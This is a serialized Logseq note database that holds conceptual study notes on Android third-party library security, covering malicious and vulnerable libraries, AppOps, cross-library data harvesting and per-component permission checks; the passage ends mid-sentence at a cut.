operationslogseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[634,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[634,logseq____&quot;^Flogseq____&quot;,625,536874675]],[logseq____&quot;^15logseq____&quot;,[634,logseq____&quot;^Xlogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[634,logseq____&quot;^Vlogseq____&quot;,625,536874675]],[logseq____&quot;^15logseq____&quot;,[634,logseq____&quot;^Ulogseq____&quot;,225,536874675]],[logseq____&quot;^15logseq____&quot;,[634,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-db8f-439c-8826-cae8f4461ec6logseq____&quot;,536874675]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Tamper-proof: depends on Kernel integrity and ((67b9e0d3-a64f-414c-b6b5-7ceac2877fce)) enforcing policieslogseq____&quot;,536874805]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874772]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^Flogseq____&quot;,585,536874772]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^Xlogseq____&quot;,549,536874772]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^Vlogseq____&quot;,583,536874772]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^Ulogseq____&quot;,549,536874796]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^Ulogseq____&quot;,613,536874796]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874805]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^Hlogseq____&quot;,613,536874805]],[logseq____&quot;^15logseq____&quot;,[637,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e113-ef2a-4056-a549-c0e5f601e192logseq____&quot;,536874772]],[logseq____&quot;^15logseq____&quot;,[638,logseq____&quot;^12logseq____&quot;,2,536874809]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 3 - Third-Party Librarieslogseq____&quot;,536874831]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874811]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^Flogseq____&quot;,299,536874815]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^Xlogseq____&quot;,296,536874811]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^Vlogseq____&quot;,296,536874815]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^Ulogseq____&quot;,296,536874812]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536878163]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[639,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f177-6c0a-48be-a44b-b54a81976301logseq____&quot;,536874811]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Malicious Libraries]]logseq____&quot;,536875087]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874831]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Flogseq____&quot;,639,536874831]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Xlogseq____&quot;,296,536874831]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Vlogseq____&quot;,639,536874833]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Ulogseq____&quot;,296,536874851]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Ulogseq____&quot;,641,536874851]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^Hlogseq____&quot;,641,536878163]],[logseq____&quot;^15logseq____&quot;,[640,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f188-9098-4940-80ef-5ddec5fc3dd3logseq____&quot;,536874831]],[logseq____&quot;^15logseq____&quot;,[641,logseq____&quot;^Klogseq____&quot;,1740239289815,536874850]],[logseq____&quot;^15logseq____&quot;,[641,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874858]],[logseq____&quot;^15logseq____&quot;,[641,logseq____&quot;^@logseq____&quot;,false,536874850]],[logseq____&quot;^15logseq____&quot;,[641,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;malicious librarieslogseq____&quot;,536875085]],[logseq____&quot;^15logseq____&quot;,[641,logseq____&quot;^11logseq____&quot;,logseq____&quot;Malicious Librarieslogseq____&quot;,536875085]],[logseq____&quot;^15logseq____&quot;,[641,logseq____&quot;^Blogseq____&quot;,1740241473239,536875614]],[logseq____&quot;^15logseq____&quot;,[641,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-9265-4f01-8ad6-5a4ba7469812logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Vulnerable Libraries]]logseq____&quot;,536875624]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874854]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Flogseq____&quot;,640,536874854]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Xlogseq____&quot;,296,536874854]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Vlogseq____&quot;,639,536874854]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Ulogseq____&quot;,296,536875625]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Ulogseq____&quot;,679,536875625]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^Hlogseq____&quot;,679,536878163]],[logseq____&quot;^15logseq____&quot;,[642,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f1ba-06bd-4e33-a734-24e774fac663logseq____&quot;,536874854]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Install Channelslogseq____&quot;,536874867]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874859]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^@logseq____&quot;,false,536874859]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^Flogseq____&quot;,641,536874859]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^Xlogseq____&quot;,641,536874859]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^Vlogseq____&quot;,641,536874859]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^Ulogseq____&quot;,641,536874860]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874867]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874867]],[logseq____&quot;^15logseq____&quot;,[643,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f1bb-76eb-46db-8213-fde829ac203flogseq____&quot;,536874859]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Libraries must be included (hard-linked) in every app package that wants to use libslogseq____&quot;,536874966]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874862]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^@logseq____&quot;,false,536874862]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^Flogseq____&quot;,646,536874939]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^Xlogseq____&quot;,641,536874862]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^Vlogseq____&quot;,643,536874939]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^Ulogseq____&quot;,641,536874863]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874966]],[logseq____&quot;^15logseq____&quot;,[644,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f221-901f-4a15-b558-ec165d4b1074logseq____&quot;,536874862]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;No central directory(exception: system libs) on end-user device (in contrast to desktop (`/usr/lib`)logseq____&quot;,536874936]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874867]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^@logseq____&quot;,false,536874867]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^Flogseq____&quot;,643,536874867]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^Xlogseq____&quot;,641,536874867]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^Vlogseq____&quot;,643,536874871]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^Ulogseq____&quot;,641,536874868]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874936]],[logseq____&quot;^15logseq____&quot;,[646,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f224-e105-4b90-b69f-2e67c9cd0edalogseq____&quot;,536874867]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Libraries are obtained from webpages, central repositories or included in IDElogseq____&quot;,536874997]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874969]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^@logseq____&quot;,false,536874969]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^Flogseq____&quot;,644,536874969]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^Xlogseq____&quot;,641,536874969]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^Vlogseq____&quot;,643,536874969]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^Ulogseq____&quot;,641,536874970]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874997]],[logseq____&quot;^15logseq____&quot;,[647,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f281-6084-4fd9-9810-b3d9af09b482logseq____&quot;,536874969]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Riskslogseq____&quot;,536875007]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875000]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^@logseq____&quot;,false,536875000]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^Flogseq____&quot;,643,536875004]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^Xlogseq____&quot;,641,536875000]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^Vlogseq____&quot;,641,536875004]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^Ulogseq____&quot;,641,536875001]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536875007]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536875007]],[logseq____&quot;^15logseq____&quot;,[648,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f321-fb81-478c-b248-e861c63a28e5logseq____&quot;,536875000]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Exploit host applogseq____&apos;s privilegeslogseq____&quot;,536875041]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875007]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^@logseq____&quot;,false,536875007]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^Flogseq____&quot;,648,536875007]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^Xlogseq____&quot;,641,536875007]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^Vlogseq____&quot;,648,536875009]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^Ulogseq____&quot;,641,536875008]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875041]],[logseq____&quot;^15logseq____&quot;,[649,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f325-b8ac-4e80-9b88-ca2a644065delogseq____&quot;,536875007]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Access local and external files (risk of de-anonymization)logseq____&quot;,536875063]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875028]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^@logseq____&quot;,false,536875028]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^Flogseq____&quot;,649,536875028]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^Xlogseq____&quot;,641,536875028]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^Vlogseq____&quot;,648,536875028]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^Ulogseq____&quot;,641,536875029]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875063]],[logseq____&quot;^15logseq____&quot;,[650,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f333-0c42-4d5e-afd9-6bd43416d0b0logseq____&quot;,536875028]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Insecure library code leads to possibly vulnerable host appslogseq____&quot;,536875082]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875064]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^@logseq____&quot;,false,536875064]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^Flogseq____&quot;,650,536875064]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^Xlogseq____&quot;,641,536875064]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^Vlogseq____&quot;,648,536875064]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^Ulogseq____&quot;,641,536875065]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875082]],[logseq____&quot;^15logseq____&quot;,[652,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f364-2dd7-4bde-a55a-6596613deed8logseq____&quot;,536875064]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## AppOpslogseq____&quot;,536875103]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875093]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^@logseq____&quot;,false,536875093]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^Flogseq____&quot;,648,536875097]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^Xlogseq____&quot;,641,536875093]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^Vlogseq____&quot;,641,536875097]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^Ulogseq____&quot;,641,536875094]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536875103]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536875103]],[logseq____&quot;^15logseq____&quot;,[653,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f47f-7720-4bd9-b7e3-574c3eabf774logseq____&quot;,536875093]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Used for [[Access Control]] and tracking (additional hooks as PEP after permission checks)logseq____&quot;,536875141]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875106]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^@logseq____&quot;,false,536875106]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^Flogseq____&quot;,653,536875106]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^Xlogseq____&quot;,641,536875106]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^Vlogseq____&quot;,653,536875108]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^Ulogseq____&quot;,37,536875142]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^Ulogseq____&quot;,641,536875142]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875141]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^Hlogseq____&quot;,37,536875141]],[logseq____&quot;^15logseq____&quot;,[654,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f489-8ab6-421b-ab98-f320c66d329blogseq____&quot;,536875106]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Track important events (runtime permission-protected APIs)logseq____&quot;,536875186]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875137]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^@logseq____&quot;,false,536875137]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^Flogseq____&quot;,656,536875145]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^Xlogseq____&quot;,641,536875137]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^Vlogseq____&quot;,653,536875137]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^Ulogseq____&quot;,641,536875138]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875186]],[logseq____&quot;^15logseq____&quot;,[655,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f4a5-2789-4b13-bbba-af795ecad7cdlogseq____&quot;,536875137]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Access Control: controlled for each UID/package (depends on API provider maintaining app-op; replace return values instead of `SecurityException`)logseq____&quot;,536875213]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875145]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^@logseq____&quot;,false,536875145]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^Flogseq____&quot;,654,536875145]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^Xlogseq____&quot;,641,536875145]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^Vlogseq____&quot;,653,536875145]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^Ulogseq____&quot;,641,536875146]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875213]],[logseq____&quot;^15logseq____&quot;,[656,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f4c4-cec9-4c3b-8d37-dda9e6611be2logseq____&quot;,536875145]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android 11 allows for registration of callbacks for permission-protected API accesseslogseq____&quot;,536875232]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875216]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^@logseq____&quot;,false,536875216]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^Flogseq____&quot;,655,536875216]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^Xlogseq____&quot;,641,536875216]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^Vlogseq____&quot;,653,536875216]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^Ulogseq____&quot;,641,536875217]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875232]],[logseq____&quot;^15logseq____&quot;,[657,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f58c-2aa0-4199-98ae-718421991e34logseq____&quot;,536875216]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## XLDH (Cross Library Data Harvesting)logseq____&quot;,536875248]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875235]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^@logseq____&quot;,false,536875235]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^Flogseq____&quot;,653,536875239]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^Xlogseq____&quot;,641,536875235]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^Vlogseq____&quot;,641,536875239]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^Ulogseq____&quot;,641,536875236]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536875248]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536875248]],[logseq____&quot;^15logseq____&quot;,[658,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f61c-321b-4d71-ad31-4074a8b6110dlogseq____&quot;,536875235]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;SDKs within same app share sandboxlogseq____&quot;,536875264]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875251]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^@logseq____&quot;,false,536875251]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^Flogseq____&quot;,658,536875251]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^Xlogseq____&quot;,641,536875251]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^Vlogseq____&quot;,658,536875253]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^Ulogseq____&quot;,641,536875252]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875264]],[logseq____&quot;^15logseq____&quot;,[659,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f629-6a9d-406f-b661-72a7f6a643e9logseq____&quot;,536875251]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Malicious SDKs can attack other SDKs, e.g., steal datalogseq____&quot;,536875286]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875264]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^@logseq____&quot;,false,536875264]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^Flogseq____&quot;,659,536875264]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^Xlogseq____&quot;,641,536875264]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^Vlogseq____&quot;,658,536875264]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^Ulogseq____&quot;,641,536875265]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875286]],[logseq____&quot;^15logseq____&quot;,[660,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f657-2684-4f9f-b159-aa1d5fbbb4balogseq____&quot;,536875264]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Per-Component Permissionslogseq____&quot;,536875299]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875289]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^@logseq____&quot;,false,536875289]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^Flogseq____&quot;,658,536875291]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^Xlogseq____&quot;,641,536875289]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^Vlogseq____&quot;,641,536875291]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^Ulogseq____&quot;,641,536875290]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536875299]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536875299]],[logseq____&quot;^15logseq____&quot;,[661,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f6bb-eb91-4c1c-ab7f-4a2ca10f8484logseq____&quot;,536875289]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Idea: Build call-chains from Dalvik call-stack to build component call-chains used in addtion to UID for permission checkslogseq____&quot;,536875353]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875299]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^@logseq____&quot;,false,536875299]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^Flogseq____&quot;,661,536875299]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^Xlogseq____&quot;,641,536875299]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^Vlogseq____&quot;,661,536875303]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^Ulogseq____&quot;,641,536875300]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875353]],[logseq____&quot;^15logseq____&quot;,[662,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f6c1-8ca7-4019-b3bb-5b906ae6b4ablogseq____&quot;,536875299]],[logseq____&quot;^15logseq____&quot;,[663,logseq____&quot;^12logseq____&quot;,2,536875313]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Problems:logseq____&quot;,536875356]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875349]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^@logseq____&quot;,false,536875349]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^Flogseq____&quot;,662,536875349]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^Xlogseq____&quot;,641,536875349]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^Vlogseq____&quot;,661,536875349]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^Ulogseq____&quot;,641,536875350]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875356]],[logseq____&quot;^15logseq____&quot;,[664,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f6fb-cecf-4572-944b-49578089b7d6logseq____&quot;,536875349]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Call-chain built within sandbox: malicious app can tamper with own 